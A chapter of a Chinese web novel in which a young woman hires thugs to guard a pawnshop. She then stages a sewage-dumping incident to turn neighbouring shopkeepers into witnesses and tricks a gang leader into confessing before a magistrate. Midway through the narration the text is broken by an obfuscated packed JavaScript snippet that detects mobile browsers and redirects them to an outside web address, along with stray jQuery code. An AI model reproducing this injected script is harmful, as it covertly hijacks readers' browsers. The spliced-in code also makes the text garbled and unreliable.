第二日,任白芷先去了刘记告假,而后径直往书坊而去。
如今那里不仅是书肆,更是任一多小报的大本营。
她素知自家这个弟弟与一群泼皮厮混得不浅,虽说不上是地头蛇,但也在市井间打磨出了些手腕。
之前她曾劝过他,莫要混迹于此,免得将来惹是生非,难有出头之日。没想到如今,反倒是她要来求他那些混混朋友帮忙。
推门而入,堂中几个小厮正忙着排版活字,木格子里铅字错落,印墨翻飞,一股淡淡的纸浆味夹杂着墨香弥散在空气中。
任一多立在一旁,袖子挽到肘上,指挥着他们调整板式,模样倒也颇有几分正经。
“什么风把你吹来了?”他余光一瞥,瞧见她踏进来,嘴角一勾,语气漫不经心,“该不会是想劝我回家好好读书吧?啧,你别忘了,这小报你也有份,莫要听信娘的絮叨,嫁了人便跟着随波逐流,没了自己的主见。”
任白芷微微皱眉,不明白他在说什么,也懒得搭理,径直道:“你有认识些泼皮混混吧?帮我牵线几个,我有事找他们。”
任一多闻言,顿时放下手里的活计,目光一挑,带着几分警惕地打量她,“泼皮?你要他们做什么?”
“教训几个不长眼的。”她语气平静,不慌不忙。
任一多啧了一声,环抱双臂,斜睨着她:“你又去哪儿招惹了事?啧,我就说财不外露,财不外露,上次你拿着银票去金银铺炒交引的事就已经太过招摇了,这次又是怎么了?”
“跟钱无关。”任白芷耐着性子,懒得与他废话,直接道:“你就一句话,牵不牵线?有介绍费。”
一听有钱,任一多神色立刻变了,嘴角一扬,笑得露出一排白牙,语气也轻快了不少,“有钱当然好办事。说吧,什么时辰,要几个人,去哪儿,干什么?”
“五个人,身手要好的,下手有轻重的。戌时到次日辰时,在东街巷许家当铺待命。”她顿了顿,意味深长地笑了一下,卖了个关子,“至于做什么。”
她微微倾身,慢悠悠地吐出三个字。
“赶老鼠。”
当天夜里,四青带着几个人悄然而至,还未靠近门前,便被从暗处扑出的几人猛地围住,拳脚雨点般砸下。
四青他们猝不及防,挨了好几下,才拼命挣脱逃窜。等他们狼狈跑远,埋伏的人也迅速隐去,像从未出现过一般。
第二日,四青鼻青脸肿,嘴里骂骂咧咧,竟还是不死心,趁着夜色又来了一回,却再次被暴打得惨叫连连,险些连裤子都被扒了去。
如此两次,四青终于察觉不对劲,强忍怒火,按兵不动了几日。直到众人渐渐松懈,他才又带人摸了回来。
这次,他学聪明了,改了时辰,也不再按日子行动,改成不定期作乱,甚至有时在当铺门前留下一两袋粪便便立刻逃窜,丝毫不给人抓住的机会。
几日下来,倒是任白芷等人筋疲力尽,整晚严防死守,可对方一来就跑,根本抓不住人影,弄得人人都没法安生。
再加之雇佣泼皮打手也是一笔不菲的费用,每夜无论打没打着人,都是四贯钱。如今这当铺生意好转了些,但也烧不起每日四贯的费用。
“这法子不行,不能这么耗下去。”陈氏拧着眉,脸色难看,“他们人多势众,咱们日日守着,不仅生意没法做,还要一直防着他们来找麻烦,总不能一辈子守着个门吧?”
李紫芙也有了退意:“这泼皮最初是被我爹雇来找麻烦的,只是没想到他们真跟咱们结梁子了。”
“你爹?”任白芷抓住了关键词,“你爹不是在药铺坐诊,就是在花楼喝酒,怎么会这么快就知道当铺的事儿?”
“好像是我哥无意间说起。”李紫芙将她从小厮那里听到的话和盘托出,“我爹每日都要我哥去给他汇报每日做了什么,就连去哪里碰到了谁这种小事都会讲。”
讲到这里,她尝试用起近日刚学的词语,“事无巨细。我有一次给他俩端茶的时候就听过一耳,相关不相关的,都会给我爹回报。那次好像是,他去何府偶然碰到刘大娘子跟何小娘子聊天,聊到金银铺要雇佣谁当出纳。”
这话突然引起了任白芷的警觉,她连忙问道,“什么时候的事儿?”
李紫芙仔细回想了一下,“上个月吧。哦!好像就是堂嫂刚赚一千多贯之后没几天的事儿。”
不会这么巧,就是她刚跟刘大娘子聊完证劵交易所的事儿吧?
如果真是的话,这已经是第三次了。
一次可能是巧合,两次就很难不让人多心,三次的话,多半是故意的。
只是,她跟这李林兰从未说过话吧?这人干嘛总跟自己过不去?
见任白芷陷入了沉思,陈氏误会她也在苦恼这些泼皮,索性说道,“如今这样,隔壁铺子也租不出去,生意也做不好,不如另寻去处。只是任大娘子那钱,我们是还不上了。”
“为何要另寻去处?”任白芷被拉回了神,“不过是几个泼皮而已。”
“几个泼皮而已。”陈氏学着她的样子阴阳怪气道,“上次在颜医面前你也这么说的,这都过了七日了,他们还不是照样来。”
“看来还是得让他们进去,才能安分些。”任白芷耸耸肩。
已经送进去一个了,本不想再送进去几个。毕竟把关系搞太僵,不利于后续合作。
但是没法子,他们自找的。
“堂嫂还有后招?”李紫芙来了兴致。
“就是前招啊。”任白芷笑道。
“讹人。”
天色尚未破晓,黑沉沉的夜幕下,几道人影猫着腰迅速穿梭在巷子间,手里提着沉甸甸的木桶,步履悄无声息,唯有桶壁偶尔碰撞发出的微弱声响。
“轻点,别撒了。”
有人低声呵斥了一句,带头的那人回头瞪了一眼,压低嗓音道:“还轮得到你来教?”
一行人小心翼翼地在几户人家门前停下,将木桶盖子缓缓揭开,顿时,一股浓烈刺鼻的恶臭扑面而来。他们忍着呕意,将桶里的粪水倾倒在门槛前,又特意泼洒得四处皆是,待一切妥当后,便迅速撤离,消失在夜色之中。
既然四青他们不定期泼粪,那就让他们的“邻居”一同受罪。
当惹了众怒,还愁没有所谓的“人证”?
果然,天色微亮,巷子里就炸开了锅。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146897|162542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这是哪个缺了大德的,竟干出这等事!”
“昨日还好好的,怎地今早这门前就成了猪圈?”
“简直无法无天!这要是不管,日后咱们这些商户还如何做生意?”
受害的商户们炸了营,纷纷聚集到许家当铺前,怒气冲冲地议论着。
陈氏站在门口,假装惊愕地掩住口鼻,皱眉道:“之前还只是针对咱们当铺,见无人制裁,终究还是对整条街都下手了。怕是再过几日,就要狂妄到整个东街巷了。”
“陈掌柜,你们不能再忍气吞声了!”邻铺的掌柜气急败坏地说道,“你们家当铺有人作乱,我们都跟着遭了殃!”
“我们报过官了,可是官爷说没有人证,抓了现行都没辙。”任白芷悠然开口,目光扫过这些气急败坏的商户,语气温和但带着几分意味深长。
“谁说没有人证!”街角的掌柜出声说道,“那夜我出恭,分明看着他们几个往你们家泼脏水。”
“对!我也瞧着了!”对面的掌柜说道,“之前看得不清,如今想来,定是那几个泼皮。”
“当真?”陈氏一副抓住了救命稻草的样子,说道,“那上了衙门,你们也可为我们作证么?”
“当然!”本来想置身事外的几个掌柜,也因为被“误伤”,主动站出来。
“那我们今日就再去衙门告状!”
“对!上衙门去!让大人主持公道!”
一群人义愤填膺,当即便要拉着许家的人一起去衙门告状。
上了衙门后。
提点大人揉了揉眉心,满脸疲惫地看着眼前争执不休的商户与泼皮,一旁的徐胜舟则神色平静地立在一旁,显然对这种场面已习以为常。
“本官问你们,”提点大人轻叩惊堂木,沉声道,“如今这么多人证,你们还不承认是你们故意泼粪的?”
四青咬紧牙关,不肯松口:“冤枉啊!我们跟许家当铺是有些误会,但从未做出此等恶心之事啊。这些人证肯定都是被那小娘子收买的,你不知道,之前这小娘子就收买了捕快,想要将我们抓进去呢。”
“我何时收买了捕快?”任白芷趁机反问道。
“就是六日前的晚上,你带着一位捕快,在许家当铺门口抓我们。”四青说道。
“六日前?”任白芷假装想要抵赖,“晚上我都不会出家门,你们看错了吧。”
“怎么可能看错!”四青果然顺着她的话反驳道,“那日就是你,带着两个女的,两个男的,其中一个男的自称是捕快,就是他!”说罢,便指了指不远处的徐胜舟。
徐胜舟微微皱了皱眉头,却并不言语。
“我都不认识他。”任白芷继续佯装抵赖,“我干嘛叫他去抓你们?”
“不可能不认识!”四青想着当时他们两人熟络的样子,越说越上头,“就是在我们准备泼粪的时候,你大喊了一声现在!然后这人马上就出来把我们抓了。”
话音刚落,鸦雀无声。
见任白芷露出狡黠的笑容,四青这才发现自己又上了她的当。
“既然你们已经承认,按律法,故意干扰他人经营者,关押三日。”提点大人断了案。